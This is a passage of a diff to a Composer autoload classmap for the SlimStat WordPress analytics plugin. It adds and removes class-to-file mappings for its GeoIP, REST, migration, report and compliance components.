__DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FInvalidArgumentException.php',\n+        'Psr\\\\Log\\\\LogLevel' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLogLevel.php',\n+        'Psr\\\\Log\\\\LoggerAwareInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerAwareInterface.php',\n+        'Psr\\\\Log\\\\LoggerAwareTrait' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerAwareTrait.php',\n+        'Psr\\\\Log\\\\LoggerInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerInterface.php',\n+        'Psr\\\\Log\\\\LoggerTrait' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FLoggerTrait.php',\n+        'Psr\\\\Log\\\\NullLogger' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FNullLogger.php',\n+        'Psr\\\\Log\\\\Test\\\\DummyTest' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FDummyTest.php',\n+        'Psr\\\\Log\\\\Test\\\\LoggerInterfaceTest' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FLoggerInterfaceTest.php',\n+        'Psr\\\\Log\\\\Test\\\\TestLogger' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Flog\u002FPsr\u002FLog\u002FTest\u002FTestLogger.php',\n+        'Psr\\\\SimpleCache\\\\CacheException' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FCacheException.php',\n+        'Psr\\\\SimpleCache\\\\CacheInterface' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FCacheInterface.php',\n+        'Psr\\\\SimpleCache\\\\InvalidArgumentException' => __DIR__ . '\u002F..' . '\u002Fpsr\u002Fsimple-cache\u002Fsrc\u002FInvalidArgumentException.php',\n+        'SlimStat\\\\Components\\\\Ajax' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FComponents\u002FAjax.php',\n+        'SlimStat\\\\Components\\\\DateRangeHelper' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FComponents\u002FDateRangeHelper.php',\n+        'SlimStat\\\\Components\\\\Event' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FComponents\u002FEvent.php',\n+        'SlimStat\\\\Components\\\\RemoteRequest' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FComponents\u002FRemoteRequest.php',\n         'SlimStat\\\\Components\\\\View' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FComponents\u002FView.php',\n+        'SlimStat\\\\Controllers\\\\Rest\\\\ConsentChangeRestController' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FControllers\u002FRest\u002FConsentChangeRestController.php',\n+        'SlimStat\\\\Controllers\\\\Rest\\\\ConsentHealthRestController' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FControllers\u002FRest\u002FConsentHealthRestController.php',\n+        'SlimStat\\\\Controllers\\\\Rest\\\\GDPRBannerRestController' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FControllers\u002FRest\u002FGDPRBannerRestController.php',\n+        'SlimStat\\\\Controllers\\\\Rest\\\\TrackingRestController' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FControllers\u002FRest\u002FTrackingRestController.php',\n+        'SlimStat\\\\Decorators\\\\NotificationDecorator' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDecorators\u002FNotificationDecorator.php',\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Browscap' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscap.php',\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\BrowscapInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscapInterface.php',\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\BrowscapUpdater' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FBrowscapUpdater.php',\n@@ -75,6 +487,37 @@\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\Helper\\\\SubKey' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FHelper\u002FSubKey.php',\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\Ini' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FIni.php',\n         'SlimStat\\\\Dependencies\\\\BrowscapPHP\\\\Parser\\\\ParserInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FBrowscapPHP\u002FParser\u002FParserInterface.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Database\\\\Reader' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FDatabase\u002FReader.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\AddressNotFoundException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FAddressNotFoundException.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\AuthenticationException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FAuthenticationException.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\GeoIp2Exception' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FGeoIp2Exception.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\HttpException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FHttpException.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\InvalidRequestException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FInvalidRequestException.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Exception\\\\OutOfQueriesException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FException\u002FOutOfQueriesException.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\AbstractModel' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAbstractModel.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\AnonymousIp' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAnonymousIp.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Asn' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FAsn.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\City' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FCity.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\ConnectionType' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FConnectionType.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Country' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FCountry.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Domain' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FDomain.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Enterprise' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FEnterprise.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Insights' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FInsights.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Model\\\\Isp' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FModel\u002FIsp.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\ProviderInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FProviderInterface.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\AbstractPlaceRecord' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FAbstractPlaceRecord.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\AbstractRecord' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FAbstractRecord.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\City' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FCity.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Continent' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FContinent.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Country' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FCountry.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Location' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FLocation.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\MaxMind' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FMaxMind.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Postal' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FPostal.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\RepresentedCountry' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FRepresentedCountry.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Subdivision' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FSubdivision.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Record\\\\Traits' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FRecord\u002FTraits.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\Util' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FUtil.php',\n+        'SlimStat\\\\Dependencies\\\\GeoIp2\\\\WebService\\\\Client' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGeoIp2\u002FWebService\u002FClient.php',\n         'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\BodySummarizer' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FBodySummarizer.php',\n         'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\BodySummarizerInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FBodySummarizerInterface.php',\n         'SlimStat\\\\Dependencies\\\\GuzzleHttp\\\\Client' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FGuzzleHttp\u002FClient.php',\n@@ -250,6 +693,23 @@\n         'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Psr6\\\\Repository' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FPsr6\u002FRepository.php',\n         'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Scale\\\\Shard' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FScale\u002FShard.php',\n         'SlimStat\\\\Dependencies\\\\MatthiasMullie\\\\Scrapbook\\\\Scale\\\\StampedeProtector' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMatthiasMullie\u002FScrapbook\u002FScale\u002FStampedeProtector.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Decoder' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FDecoder.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\InvalidDatabaseException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FInvalidDatabaseException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Metadata' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FMetadata.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\Db\\\\Reader\\\\Util' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FDb\u002FReader\u002FUtil.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\AuthenticationException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FAuthenticationException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Client' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FClient.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\HttpException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttpException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\CurlRequest' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FCurlRequest.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\Request' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FRequest.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\Http\\\\RequestFactory' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FHttp\u002FRequestFactory.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InsufficientFundsException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInsufficientFundsException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InvalidInputException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInvalidInputException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\InvalidRequestException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FInvalidRequestException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\IpAddressNotFoundException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FIpAddressNotFoundException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\PermissionRequiredException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FPermissionRequiredException.php',\n+        'SlimStat\\\\Dependencies\\\\MaxMind\\\\WebService\\\\WebServiceException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FMaxMind\u002FWebService\u002FWebServiceException.php',\n         'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheException.php',\n         'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheItemInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheItemInterface.php',\n         'SlimStat\\\\Dependencies\\\\Psr\\\\Cache\\\\CacheItemPoolInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FPsr\u002FCache\u002FCacheItemPoolInterface.php',\n@@ -430,17 +890,221 @@\n         'SlimStat\\\\Dependencies\\\\Symfony\\\\Polyfill\\\\Php80\\\\Php80' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FDependencies\u002FSymfony\u002FPolyfill\u002FPhp80\u002FPhp80.php',\n         'SlimStat\\\\Exception\\\\LogException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FException\u002FLogException.php',\n         'SlimStat\\\\Helpers\\\\DataBuckets' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FHelpers\u002FDataBuckets.php',\n+        'SlimStat\\\\Interfaces\\\\RestControllerInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FInterfaces\u002FRestControllerInterface.php',\n+        'SlimStat\\\\Migration\\\\AbstractIndexMigration' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FAbstractIndexMigration.php',\n+        'SlimStat\\\\Migration\\\\AbstractMigration' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FAbstractMigration.php',\n+        'SlimStat\\\\Migration\\\\Admin\\\\MigrationAdmin' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FAdmin\u002FMigrationAdmin.php',\n+        'SlimStat\\\\Migration\\\\MigrationInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrationInterface.php',\n+        'SlimStat\\\\Migration\\\\MigrationManager' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrationManager.php',\n+        'SlimStat\\\\Migration\\\\MigrationService' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrationService.php',\n+        'SlimStat\\\\Migration\\\\Migrations\\\\CreateCountryDtIndex' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateCountryDtIndex.php',\n+        'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtBrowserIndex' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtBrowserIndex.php',\n+        'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtOutIndex' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtOutIndex.php',\n+        'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtPlatformIndex' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtPlatformIndex.php',\n+        'SlimStat\\\\Migration\\\\Migrations\\\\CreateDtScreenIndex' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FMigration\u002FMigrations\u002FCreateDtScreenIndex.php',\n         'SlimStat\\\\Modules\\\\Chart' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FModules\u002FChart.php',\n-        'SlimStat\\\\Providers\\\\RESTService' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FProviders\u002FRESTService.php',\n+        'SlimStat\\\\Providers\\\\IPHashProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FProviders\u002FIPHashProvider.php',\n+        'SlimStat\\\\Providers\\\\RestApiManager' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FProviders\u002FRestApiManager.php',\n+        'SlimStat\\\\Reports\\\\Abstracts\\\\AbstractReport' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FAbstracts\u002FAbstractReport.php',\n+        'SlimStat\\\\Reports\\\\Abstracts\\\\ChartReport' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FAbstracts\u002FChartReport.php',\n+        'SlimStat\\\\Reports\\\\Abstracts\\\\SummaryReport' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FAbstracts\u002FSummaryReport.php',\n+        'SlimStat\\\\Reports\\\\Abstracts\\\\TableReport' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FAbstracts\u002FTableReport.php',\n+        'SlimStat\\\\Reports\\\\Bootstrap' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FBootstrap.php',\n+        'SlimStat\\\\Reports\\\\Contracts\\\\ChartableInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FContracts\u002FChartableInterface.php',\n+        'SlimStat\\\\Reports\\\\Contracts\\\\FilterableInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FContracts\u002FFilterableInterface.php',\n+        'SlimStat\\\\Reports\\\\Contracts\\\\PaginatableInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FContracts\u002FPaginatableInterface.php',\n+        'SlimStat\\\\Reports\\\\Contracts\\\\RenderableInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FContracts\u002FRenderableInterface.php',\n+        'SlimStat\\\\Reports\\\\Contracts\\\\ReportInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FContracts\u002FReportInterface.php',\n+        'SlimStat\\\\Reports\\\\Registry\\\\LegacyReportAdapter' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FRegistry\u002FLegacyReportAdapter.php',\n+        'SlimStat\\\\Reports\\\\Registry\\\\ReportFactory' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportFactory.php',\n+        'SlimStat\\\\Reports\\\\Registry\\\\ReportLoader' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportLoader.php',\n+        'SlimStat\\\\Reports\\\\Registry\\\\ReportRegistry' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FRegistry\u002FReportRegistry.php',\n+        'SlimStat\\\\Reports\\\\Traits\\\\HasFilters' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FTraits\u002FHasFilters.php',\n+        'SlimStat\\\\Reports\\\\Traits\\\\HasPagination' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FTraits\u002FHasPagination.php',\n+        'SlimStat\\\\Reports\\\\Traits\\\\HasTooltip' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FTraits\u002FHasTooltip.php',\n+        'SlimStat\\\\Reports\\\\Types\\\\Analytics\\\\LiveAnalyticsReport' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FReports\u002FTypes\u002FAnalytics\u002FLiveAnalyticsReport.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\ConditionTagEvaluator' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FConditionTagEvaluator.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationActions' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationActions.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationFactory' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationFactory.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationFetcher' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationFetcher.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationManager' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationManager.php',\n+        'SlimStat\\\\Services\\\\Admin\\\\Notification\\\\NotificationProcessor' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FAdmin\u002FNotification\u002FNotificationProcessor.php',\n         'SlimStat\\\\Services\\\\Browscap' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FBrowscap.php',\n-        'SlimStat\\\\Services\\\\GeoIP' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeoIP.php',\n+        'SlimStat\\\\Services\\\\Compliance\\\\ComplianceManager' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FCompliance\u002FComplianceManager.php',\n+        'SlimStat\\\\Services\\\\Compliance\\\\Integrations\\\\ComplianceIntegrationInterface' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FCompliance\u002FIntegrations\u002FComplianceIntegrationInterface.php',\n+        'SlimStat\\\\Services\\\\Compliance\\\\Regulations\\\\CCPA\\\\CCPAServiceProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FCompliance\u002FRegulations\u002FCCPA\u002FCCPAServiceProvider.php',\n+        'SlimStat\\\\Services\\\\Compliance\\\\Regulations\\\\LGPD\\\\LGPDServiceProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FCompliance\u002FRegulations\u002FLGPD\u002FLGPDServiceProvider.php',\n+        'SlimStat\\\\Services\\\\CronEventManager' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FCronEventManager.php',\n+        'SlimStat\\\\Services\\\\GDPRService' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGDPRService.php',\n         'SlimStat\\\\Services\\\\GeoService' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeoService.php',\n-        'SlimStat\\\\Utils\\\\InvalidDatabaseException' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FInvalidDatabaseException.php',\n-        'SlimStat\\\\Utils\\\\MaxMindDecoder' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FMaxMindDecoder.php',\n-        'SlimStat\\\\Utils\\\\MaxMindMetadata' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FMaxMindMetadata.php',\n-        'SlimStat\\\\Utils\\\\MaxMindReader' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FMaxMindReader.php',\n-        'SlimStat\\\\Utils\\\\MaxMindUtil' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FUtils\u002FMaxMindUtil.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\AbstractGeoIPProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FAbstractGeoIPProvider.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\GeolocationFactory' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FGeolocationFactory.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\GeolocationService' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FGeolocationService.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\CloudflareGeolocationProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FCloudflareGeolocationProvider.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\DbIpProvider' => __DIR__ . '\u002F..\u002F..' . '\u002Fsrc\u002FServices\u002FGeolocation\u002FProvider\u002FDbIpProvider.php',\n+        'SlimStat\\\\Services\\\\Geolocation\\\\Provider\\\\GeoServiceProviderInterface' => __DIR__ . 